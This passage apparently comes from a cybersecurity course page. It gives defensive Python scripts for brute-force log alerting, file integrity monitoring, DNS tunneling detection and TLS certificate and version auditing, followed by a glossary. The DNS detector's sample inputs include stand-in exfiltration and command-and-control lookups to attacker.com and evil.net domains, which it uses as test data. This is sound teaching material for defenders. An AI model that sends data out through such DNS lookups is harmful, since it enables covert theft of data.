import re from collections import defaultdict from datetime import datetime THRESHOLD = 5 # alert after N failures from same IP LOG_FILE = "/var/log/auth.log" fail_counts = defaultdict(int) def parse_line(line): match = re.search(r"Failed password.*from (\d+\.\d+\.\d+\.\d+)", line) if match: ip = match.group(1) fail_counts[ip] += 1 if fail_counts[ip] == THRESHOLD: print(f"[ALERT] {datetime.now()} Brute-force from {ip} ({THRESHOLD} failures)") # Optionally: os.system(f"iptables -A INPUT -s {ip} -j DROP") with open(LOG_FILE) as f: f.seek(0, 2) # seek to end (tail mode) while True: line = f.readline() if line: parse_line(line)
Blue Team
02
File Integrity Monitor (FIM)

A File Integrity Monitor calculates cryptographic hashes of critical system files and alerts when they change. This detects webshell uploads, binary replacements, and configuration tampering — the core of PCI-DSS compliance requirements.

import hashlib, os, json from pathlib import Path WATCH_DIRS = ["/var/www/html", "/etc"] BASELINE_FILE = "fim_baseline.json" def hash_file(path): h = hashlib.sha256() with open(path, "rb") as f: h.update(f.read()) return h.hexdigest() def build_baseline(): baseline = {} for d in WATCH_DIRS: for p in Path(d).rglob("*"): if p.is_file(): baseline[str(p)] = hash_file(p) json.dump(baseline, open(BASELINE_FILE, "w")) print(f"Baseline saved: {len(baseline)} files.") def check_integrity(): baseline = json.load(open(BASELINE_FILE)) for path, expected_hash in baseline.items(): if not os.path.exists(path): print(f"[DELETED] {path}") elif hash_file(path) != expected_hash: print(f"[MODIFIED] {path}")
Blue Team
03
DNS Anomaly Detector — Catch Tunneling

DNS tunneling tools like iodine and dnscat2 leave detectable fingerprints: unusually long subdomains, high entropy names, and high query volume to a single domain. This script flags suspicious DNS activity in captured traffic.

import math, collections def entropy(s): freq = collections.Counter(s) l = len(s) return -sum((c/l)*math.log2(c/l) for c in freq.values()) def analyze_query(fqdn): parts = fqdn.split(".") subdomain = parts[0] if len(parts) > 2 else "" flags = [] if len(subdomain) > 40: flags.append(f"long_subdomain({len(subdomain)})") if subdomain and entropy(subdomain) > 4.0: flags.append(f"high_entropy({entropy(subdomain):.2f})") if flags: print(f"[SUSPICIOUS DNS] {fqdn} Flags: {', '.join(flags)}") # Example: feed DNS queries from pcap or DNS server logs sample_queries = [ "www.google.com", "ZXhuY3JlZGl0Y2FyZGR1bXA=.exfil.attacker.com", "aHR0cHM6Ly9ldmls.c2.evil.net", ] for q in sample_queries: analyze_query(q)
Blue Team

TLS/SSL Scripting

TLS misconfiguration is responsible for a significant proportion of real-world breaches. These scripts inspect certificates, test cipher suites, and detect downgrade vulnerabilities — essential knowledge for both sides.

TLS Inspection & Certificate Management
01
Certificate Expiry Monitor

Expired TLS certificates cause outages and erode user trust. This script checks certificate expiry for a list of domains — useful for proactive monitoring in blue team operations or verifying targets' certificate hygiene during red team recon.

import ssl, socket from datetime import datetime def check_cert(hostname, port=443): ctx = ssl.create_default_context() with ctx.wrap_socket(socket.socket(), server_hostname=hostname) as s: s.settimeout(5) s.connect((hostname, port)) cert = s.getpeercert() expiry = datetime.strptime(cert['notAfter'], "%b %d %H:%M:%S %Y %Z") days_left = (expiry - datetime.utcnow()).days subject = dict(x[0] for x in cert['subject']) issuer = dict(x[0] for x in cert['issuer']) status = "✓ OK" if days_left > 30 else ("⚠ EXPIRING SOON" if days_left > 0 else "✗ EXPIRED") print(f"[{status}] {hostname}") print(f" Subject: {subject.get('commonName')}") print(f" Issuer: {issuer.get('organizationName')}") print(f" Expires: {expiry.strftime('%Y-%m-%d')} ({days_left} days)\n") for domain in ["google.com", "github.com", "example.com"]: check_cert(domain)
Blue Team
02
TLS Version & Cipher Suite Auditor

Weak cipher suites and support for TLS 1.0/1.1 allow downgrade attacks. This script tests which TLS versions a server accepts — identifying misconfigured servers before attackers do, or confirming target security posture during authorized assessments.

import ssl, socket TLS_VERSIONS = { "TLSv1.0": ssl.PROTOCOL_TLSv1 if hasattr(ssl, "PROTOCOL_TLSv1") else None, "TLSv1.1": ssl.PROTOCOL_TLSv1_1 if hasattr(ssl, "PROTOCOL_TLSv1_1") else None, "TLSv1.2": ssl.PROTOCOL_TLSv1_2, } def test_tls_versions(host, port=443): print(f"\n=== TLS Audit: {host} ===") for name, proto in TLS_VERSIONS.items(): if proto is None: continue try: ctx = ssl.SSLContext(proto) ctx.check_hostname = False ctx.verify_mode = ssl.CERT_NONE with ctx.wrap_socket(socket.socket(), server_hostname=host) as s: s.settimeout(3); s.connect((host, port)) cipher = s.cipher() print(f" {name}: ACCEPTED (cipher: {cipher[0]})") except: print(f" {name}: rejected") test_tls_versions("example.com")
Red & Blue
03
Generate Self-Signed Certificate (Development)

Every developer needs to understand certificate generation. This script uses Python + OpenSSL via subprocess to generate a self-signed certificate for local development, testing, or internal service encryption. Never use self-signed certs in production without proper trust chain management.

import subprocess, os def generate_self_signed_cert(domain="localhost", days=365, out_dir="./certs"): os.makedirs(out_dir, exist_ok=True) key_path = f"{out_dir}/{domain}.key" cert_path = f"{out_dir}/{domain}.crt" subj = f"/C=US/ST=Local/L=Local/O=Dev/CN={domain}" # Generate RSA private key subprocess.run(["openssl", "genrsa", "-out", key_path, "4096"], check=True) # Generate self-signed certificate subprocess.run([ "openssl", "req", "-new", "-x509", "-key", key_path, "-out", cert_path, "-days", str(days), "-subj", subj ], check=True) print(f"Key: {key_path}") print(f"Cert: {cert_path}") print(f"Valid for {days} days") generate_self_signed_cert("dev.local")
Red & Blue

Glossary

Every term used in this course, defined concisely.

ARP
Address Resolution Protocol — maps IP to MAC on local networks. No authentication.
APT
Advanced Persistent Threat — a sophisticated, long-term attack usually by nation-state actors.
BGP
Border Gateway Protocol — routes traffic between internet autonomous systems.
BCP38
Best Current Practice 38 — ISP ingress filtering standard against spoofed source IPs.
CA
Certificate Authority — trusted organization that issues TLS certificates.
C2 / C&C
Command & Control — attacker infrastructure used to send instructions to compromised hosts.
CSRF
Cross-Site Request Forgery — abuses browser's automatic cookie sending to forge authenticated requests.
CVE
Common Vulnerabilities & Exposures — standardized IDs for known security vulnerabilities.
DDoS
Distributed Denial of Service — overwhelming a target with traffic from many sources.
DNS
Domain Name System — translates domain names to IP addresses.
DNSSEC
DNS Security Extensions — cryptographic signing of DNS records to prevent tampering.
DoH / DoT
DNS over HTTPS / DNS over TLS — encrypts DNS queries to prevent interception.
EDR
Endpoint Detection & Response — behavioral monitoring software for host-level threat detection.
FIM
File Integrity Monitor — detects unauthorized changes to files using cryptographic hashes.
FIDO2
Open standard for phishing-resistant authentication using public-key cryptography.
HTTP/S
HyperText Transfer Protocol (Secure) — the protocol for web traffic. HTTPS adds TLS.
HIDS
Host-Based Intrusion Detection System — monitors a single host for suspicious activity.
ICMP
Internet Control Message Protocol — used for ping, error reporting, and network diagnostics.
IOC
Indicator of Compromise — artifacts that suggest a system has been breached.
IP
Internet Protocol — handles addressing and routing of packets across networks.
JIT Access
Just-in-Time access — credentials issued on demand and expire automatically.
LSASS
Local Security Authority Subsystem — Windows process storing credential hashes; primary target of Mimikatz.
MITM
Man-in-the-Middle — attacker intercepts and potentially modifies traffic between two parties.
NAC
Network Access Control — enforces security posture before granting network access.
OSCP
Offensive Security Certified Professional — leading hands-on penetration testing certification.
PMTU
Path MTU Discovery — determines the maximum packet size for a network path.
RPKI
Resource Public Key Infrastructure — cryptographic proof of IP prefix ownership for BGP.
Rootkit
Malware that modifies the OS kernel to hide itself from detection tools.
SIEM
Security Information & Event Management — centralized log aggregation and alerting platform.
SSRF
Server-Side Request Forgery — tricking a server into making requests to internal resources.
SSH
Secure Shell — encrypted remote terminal access protocol.
TCP
Transmission Control Protocol — reliable, ordered, error-checked data delivery.
TLS
Transport Layer Security — cryptographic protocol for encrypted communication (HTTPS).
TPM
Trusted Platform Module — hardware chip for secure key storage and measured boot.
UEBA
User & Entity Behavior Analytics — ML-based detection of anomalous access patterns.
UDP
User Datagram Protocol — fast, connectionless transport; used by DNS, NTP, streaming.
WAF
Web Application Firewall — filters HTTP traffic to block common web attacks.
XSS
Cross-Site Scripting — injecting JavaScript that executes in another user's browser context.
Zero Trust
Security model: never trust, always verify — every connection authenticated regardless of location.
Zero-Day
Vulnerability unknown to the vendor with no available patch. Highest value in exploit markets.